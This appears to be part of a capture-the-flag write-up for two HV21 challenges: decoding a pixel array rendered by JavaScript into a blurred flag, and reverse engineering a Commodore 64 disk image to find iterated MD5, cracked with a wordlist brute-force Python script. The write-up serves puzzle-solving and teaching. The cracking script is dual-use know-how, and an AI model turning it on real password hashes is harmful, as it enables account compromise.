4,48,56,64,72,80,84,84,88,80,72,64,56,48,40,32,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,16,28,48,56,64,72,80,80,80,84,84,76,68,60,52,44,36,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,20,28,44,52,60,68,76,72,72,80,88,80,72,64,56,48,40,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,20,28,36,52,60,68,76,80,72,72,80,88,80,72,64,56,48,40,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,24,32,40,56,64,72,80,80,72,72,80,88,80,72,64,56,48,40,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,24,32,40,52,60,68,76,76,68,68,76,88,80,72,64,56,48,40,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,24,32,40,48,56,64,72,72,64,64,68,84,76,68,60,52,44,36,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,24,32,40,48,56,64,72,72,64,64,68,84,76,68,60,52,44,36,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,24,32,40,48,56,64,72,72,64,64,68,84,76,68,60,52,44,36,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,20,28,36,48,60,72,84,88,84,84,88,96,84,72,60,48,40,32,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,16,28,40,56,72,88,104,112,116,116,116,116,100,84,68,52,40,28,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,12,24,36,52,68,84,100,112,116,116,116,112,96,80,64,48,36,24,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,12,24,32,44,56,68,80,88,88,88,92,92,80,68,56,44,36,24,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,20,32,40,52,64,76,88,92,88,88,88,88,76,64,52,40,32,20,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,24,36,44,56,68,80,92,92,88,88,92,92,80,68,56,44,36,24,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,32,48,56,68,80,92,104,100,92,92,100,104,92,80,68,56,48,32,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,36,56,68,84,100,116,132,132,124,124,132,132,116,100,84,68,56,36,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,36,60,76,92,108,124,140,140,136,136,140,140,124,108,92,76,60,36,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,36,56,68,84,100,116,132,132,124,124,132,132,116,100,84,68,56,36,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,32,48,56,72,84,96,108,104,96,96,104,108,96,84,72,60,52,36,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,24,36,44,64,80,96,112,116,116,120,128,128,112,96,80,64,52,36,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,16,28,36,60,80,100,120,132,140,148,160,156,136,116,96,76,60,40,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,12,24,32,60,84,108,132,152,164,176,188,180,156,132,108,84,64,40,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,12,20,52,80,104,128,152,168,180,188,176,148,124,100,76,56,36,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,8,40,68,88,108,128,144,156,164,156,128,108,88,68,52,36,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,60,80,96,112,124,136,152,148,120,100,84,68,56,44,28,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,60,80,96,112,128,144,164,164,136,116,100,84,68,52,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,28,60,84,104,124,144,164,188,192,160,136,116,96,76,56,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,52,72,88,104,120,136,156,164,136,116,100,88,72,56,36,4,4,4,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,44,60,72,84,96,108,124,132,108,92,80,76,64,52,36,8,8,8,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,36,48 ,56,64,72,80,92,100,80,68,60,64,56,48,36,12,12,12,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,28,40,48,56,64,72,84,92,76,64,56,64,56,48,36,16,16,16,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,20,32,40,48,56,64,76,84,72,60,52,64,56,48,36,20,20,20,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,12,20,28,36,44,52,60,68,60,52,44,60,52,44,36,24,24,24,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,8,12,16,20,24,28,36,32,28,24,48,44,40,36,28,28,28,28,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,4,4,4,36,36,36,36,32,32,32,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,32,32,32,32,32,32,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,32,32,32,32,32,32,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,32,32,32,32,32,32,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,4,4,4,4,4,4,4,4,4,4,4,36,36,36,36,32,32,32,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,12,16,20,24,28,32,36,36,32,28,24,48,44,40,36,28,28,28,28,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,20,28,36,44,52,60,68,68,60,52,44,60,52,44,36,24,24,24,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,28,40,52,64,76,88,100,100,88,76,64,72,60,48,36,20,20,20,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,36,48,60,72,84,96,108,108,92,80,68,72,60,48,36,16,16,16,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,44,56,68,80,92,104,116,116,96,84,72,72,60,48,36,12,12,12,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,28,52,68,80,92,104,116,132,132,108,92,80,76,64,52,36,8,8,8,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,60,80,96,112,128,144,164,164,136,116,100,88,72,56,36,4,4,4,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,28,60,84,104,124,144,164,188,192,160,136,116,96,76,56,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,52,72,88,104,120,136,156,164,136,116,100,84,68,52,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,52,72,88,104,116,128,144,148,120,100,84,68,56,44,28,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,8,32,60,80,96,112,124,132,140,140,112,92,76,60,48,36,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,12,20,44,72,96,116,136,148,156,164,160,132,108,88,68,52,36,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,12,24,32,52,76,100,120,136,144,152,164,164,140,116,96,76,60,40,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,20,32,40,56,76,96,116,128,132,140,148,152,132,112,92,72,56,36,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,24,36,44,56,72,88,104,108,108,112,120,128,112,96,80,64,52,36,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,32,48,56,68,80,92,104,100,92,92,100,108,96,84,72,60,52,36,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,36,56,68,84,100,116,132,132,124,124,132,132,116,100,84,68,56,36,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,36,60,76,92,108,124,140,140,136,136,140,140,124,108,92,76,60,36,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,36,56,68,84,100,116,132,132,124,124,132,132,116,100,84,68,56,36,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,32,52,60,72,84,96,108,104,96,92,100,104,92,80,68,56,48,32,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,32,52,60,72,84,96,108,104,96,88,92,92,80,68,56,44,36,24,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,32,52,60,72,84,96,108,104,96,88,92,88,76,64,52,40,32,20,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,36,56,64,76,88,100,112,108,96,88,88,84,72,60,48,36,28,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,36,52,60,72,84,96,108,104,96,92,92,88,76,64,52,40,28,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,40,52,56,64,72,84,96,88,80,80,84,84,76,64,52,40,28,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,48,56,60,68,76,88,100,88,72,72,76,76,68,56,44,32,24,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,28,56,68,76,84,92,100,108,88,68,64,64,64,56,48,40,32,24,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,64,76,88,96,104,112,120,96,72,68,64,64,56,48,40,32,24,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,60,68,80,88,96,104,112,88,68,68,64,64,56,48,40,36,28,20,12,4,4,4,4,0,0,0,0,0,0,0,0,0,0,0,0,28,52,60,72,80,88,96,104,84,68,68,64,64,56,48,40,40,32,24,16,8,8,8,8,0,0,0,0,0,0,0,0,0,0,0,0,24,44,52,64,72,80,88,96,80,68,68,64,60,52,44,36,40,32,24,16,12,12,12,12,0,0,0,0,0,0,0,0,0,0,0,0,20,36,44,56,64,72,80,88,76,64,60,52,44,36,28,20,28,24,20,16,16,16,16,16,0,0,0,0,0,0,0,0,0,0,0,0,16,28,36,48,56,64,68,72,60,48,40,28,20,12,8,4,20,20,20,20,20,20,20,20,0,0,0,0,0,0,0,0,0,0,0,0,12,20,28,36,40,44,44,44,32,24,16,8,4,0,0,0,24,24,24,24,24,24,24,24,0,0,0,0,0,0,0,0,0,0,0,0,8,12,16,20,20,20,20,20,12,8,4,0,0,0,0,0,28,28,28,28,28,28,28,28,0,0,0,0,0,0,0,0,0,0,0,0,4,4,4,4,4,4,4,4,0,0,0,0,0,0,0,0,32,32,32,32,32,32,32,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,32,32,32,32,32,32,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,32,32,32,32,32,32,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,32,32,32,32,32,32,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,32,32,32,32,32,32,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,8,8,8,8,8,8,8,8,8,8,8,8,36,36,36,32,28,28,28,28,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,12,20,20,20,20,20,20,16,16,16,16,16,16,40,40,40,32,24,24,24,24,0,0,0,0,0,0,0,0,0,0,0,0,4,8,16,28,40,40,40,40,36,32,24,24,24,24,24,24,44,44,44,32,20,20,20,20,0,0,0,0,0,0,0,0,0,0,0,0,8,16,24,40,56,60,60,60,52,44,36,32,32,28,28,28,44,44,44,32,16,16,16,16,0,0,0,0,0,0,0,0,0,0,0,0,12,24,32,52,72,80,80,80,68,56,48,44,44,36,36,36,48,48,48,32,12,12,12,12,0,0,0,0,0,0,0,0,0,0,0,0,16,32,40,60,84,96,100,104,88,72,68,68,64,52,48,44,52,52,48,28,8,8,8,8,0,0,0,0,0,0,0,0,0,0,0,0,20,40,48,68,92,108,116,124,108,92,92,96,92,76,68,60,60,56,48,24,4,4,4,4,0,0,0,0,0,0,0,0,0,0,0,0,24,44,52,72,96,112,124,136,120,108,108,112,108,92,80,68,60,52,44,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,44,52,68,88,104,116,128,112,100,100,104,100,84,72,60,52,44,36,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,44,48,60,76,92,104,120,108,100,104,108,104,88,76,60,48,36,28,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,36,36,44,56,72,88,108,104,104,112,116,112,96,80,60,44,28,20,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,28,28,32,44,60,80,100,104,112,120,128,120,104,84,64,44,24,16,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,20,20,24,36,52,72,92,104,120,128,132,120,104,84,64,40,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,12,16,24,36,48,64,80,100,124,124,120,108,96,80,64,36,8,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,8,16,28,40,48,60,72,96,120,112,100,88,80,68,56,28,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,12,24,40,56,68,80,92,116,136,128,116,104,92,80,68,40,12,8,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,20,36,56,76,92,108,124,148,168,160,148,136,120,104,88,56,24,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,20,36,56,76,92,108,120,144,164,156,144,132,116,100,88,56,24,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,20,36,56,76,92,104,112,136,152,144,132,120,104,92,84,52,24,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,20,36,56,76,88,96,104,124,136,128,116,104,92,84,76,48,24,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,20,36,52,72,84,96,104,120,128,120,112,100,88,76,68,44,24,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,20,32,44,64,80,96,108,124,128,124,120,108,92,76,64,40,24,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,16,24,32,56,76,96,112,128,136,140,140,124,104,84,68,44,28,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,8,12,16,40,56,72,88,108,120,128,132,116,100,84,68,44,28,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,32,44,56,76,92,104,112,100,88,76,64,44,28,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,36,48,60,80,96,112,124,108,96,84,72,52,36,20,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,28,44,60,76,96,112,128,140,120,104,88,72,52,36,20,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,28,48,68,84,104,120,136,148,128,108,88,72,52,36,20,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,28,44,60,76,96,112,128,140,120,104,88,72,52,36,20,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,36,48,60,76,92,108,124,108,96,84,72,56,40,24,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,8,8,28,36,44,52,64,72,80,100,92,84,76,68,56,44,32,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,12,16,16,32,40,48,52,56,56,60,80,76,68,60,56,48,40,32,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,20,24,24,40,48,60,64,64,56,56,76,72,64,52,48,40,36,32,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,28,32,32,44,56,72,76,68,52,48,64,68,56,40,36,32,32,32,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,36,44,44,56,68,84,88,72,52,44,64,72,60,44,40,40,40,40,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,44,56,60,72,84,100,108,92,72,64,84,96,84,68,60,56,52,48,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,48,64,72,84,96,116,128,116,96,88,108,120,108,88,76,68,60,52,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,48,64,72,84,96,116,132,124,108,100,116,128,116,96,80,68,56,48,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,44,56,64,76,88,108,124,116,104,100,1 12,120,108,88,72,60,48,40,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,36,48,56,68,80,100,116,112,104,100,108,112,100,80,64,52,40,32,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,28,40,48,60,72,88,104,104,100,96,100,100,88,72,56,44,32,24,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,12,24,36,44,56,64,76,88,92,92,88,92,88,80,68,52,44,32,24,12,4,4,4,4,0,0,0,0,0,0,0,0,0,0,0,8,16,28,40,52,64,72,80,84,88,88,88,88,84,80,76,68,64,52,40,28,20,16,12,8,0,0,0,0,0,0,0,0,0,0,0,8,16,28,40,52,64,72,80,80,80,80,80,80,76,76,76,76,76,64,52,40,32,24,16,8,0,0,0,0,0,0,0,0,0,0,0,8,16,28,40,52,64,72,80,80,80,80,76,76,76,80,84,84,84,72,64,52,40,28,16,8,0,0,0,0,0,0,0,0,0,0,0,8,16,28,40,52,64,72,80,80,80,76,72,72,72,76,80,80,80,72,64,52,40,28,16,8,0,0,0,0,0,0,0,0,0,0,0,8,16,28,40,52,64,72,80,80,80,76,72,72,72,76,80,80,80,72,64,52,40,28,16,8,0,0,0,0,0,0,0,0,0,0,0,8,16,28,40,52,64,72,80,80,80,76,72,72,72,76,80,80,80,72,64,52,40,28,16,8,0,0,0,0,0,0,0,0,0,0,0,8,16,28,40,52,64,72,80,80,80,76,72,72,72,76,80,80,80,72,64,52,40,28,16,8,0,0,0,0,0,0,0,0,0,0,0,4,12,24,36,48,60,68,76,80,80,76,72,72,72,76,80,80,76,68,60,48,36,24,12,4,0,0,0,0,0,0,0,0,0,0,0,0,4,12,20,28,36,40,48,56,60,60,56,56,56,60,60,56,48,40,36,28,20,12,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,8,12,16,16,20,28,36,36,32,32,32,36,36,28,20,16,16,12,8,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,8,8,8,8,8,8,8,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]; let move = -320; let moving = 0; function printPixels() { if (moving++ % 2 === 0) move++; if (move>300) move =-320; for (let i = 0; i < 40; i++) { for (let j = 0; j < 9; j++) { let x = (i*8+move); let y = ((j-2)*8+(i-15)); let color = x>0&&y>0&&x<300&&y<36?digits[x*36+y]:0; context.fillStyle = "#"+("000000"+((color << 16) | (color << 8) | color).toString(16)).slice(-6); context.fillRect(i * 40, j * 40, 40, 40); } } requestAnimationFrame(printPixels); } printPixels();
I examined the code and played around with it in JSFiddler. The array contains 10800 items, if we divide it by 36 we get 300 rows. -> Thanks ludus!
let move = 0; let moving = 0; console.log(digits.length) function printPixels() { for (let x = 0; x < 300; x++){ for (let y = 0; y < 100; y++){ let color = digits[x*36+y]; //console.log(color) context.fillStyle = "#" + ("0000" + ((color << 16) | (color << 8) | color).toString(16)).slice(-6); context.fillRect(x*5, y*5, 4000, 4000); } } //requestAnimationFrame(printPixels); }
If we alter the code as mentioned we get an image which is a bit more clear. Still far from readable though.
On this we can apply a motion blur filter and make the image readable. I used an Android application on my mobile phone to do so. I still had to guess some characters. The final result was this:
Flag
HV21{P1xeliz4t10n_N07_54v3}
[HV21.24] Dusty Disk Disaster
Thanks!
This challenge is brought to you by darkstar. Merry reversing!
Introduction
It happened again: Santa misplaced some very important data. His elves came across an old dusty floppy disk that they can unfortunately no longer read…
Goal
Could you please check if there is something important on it?
Solution
Wow, another amazing challenge from darkstar. We are provided with a d64 file, which is a Commodore 64 image. The hardest part of this challenge was to setup the environment to be able to analyze and solve this challenge. I used the VICE emulator and Ghidra to solve the challenge. In Ghidra I used an additional plugin to work with d64 files.
Program Flow:
We need to revers engineer/debug this application to get the right key to “free” the flag. After some time of scrolling through disassembled code in Ghidra I joined forces with ice and jokker. Once again we found constants in the disassembled code.
A := 0123456716 B: = 89ABCDEF16 C := FEDCBA9816 D := 7654321016
In the RFC of MD5 we find this definition, which looks highly familiar!
Now we know that MD5 hashing is used and the function FUN_2791 does implement it. I started working with the debugger of VICE. First I set a break-point at the address 2791 which is the start of the MD5 function.
After setting the breakpoint I enter any key in the application and figure out that the MD5 function is called 11 times! I examine the memory of the application further and find the location of my input at cfa4:
My lower-case input “xxxxx” is transferred to upper case. First I thought the application just transforms every input to upper case. Through a hint I discovered, that Commodore stores it’s values in PETSCII and not ASCII. This will become relevant when we brute force the key.
Next I did find the location of the target hash and the hash of my input. These values are stored at cef4 and cf04:
Now we can verify if our input, hashed 11 times with MD5 matches with the data at cf04 of the memory. And indeed it does! Together with the hint which was released on the challenge page (ask a human about the password), we now know to use the wordlist human-only to bruteforce the right key. My final script to get the access key looks like this:
import hashlib import cbmcodecs2 target = "b229f80b33fac1a464d6b1997ed66bd8" f = open("human.txt", "r", encoding='latin-1') l = 0 for line in f.readlines(): line = line.rstrip() try: h = hashlib.md5(line.encode('petscii_c64en_lc')).digest() except: continue for i in range(10): h = hashlib.md5(h).digest() if h.hex() == target: print("[+] Found match!") print("[> " + line) exit(0) l += 1 if (l % 10000 == 0): print(l)
Running the Python script reveals the access key:
Flag
HV21{C64_r3v3rs1ng}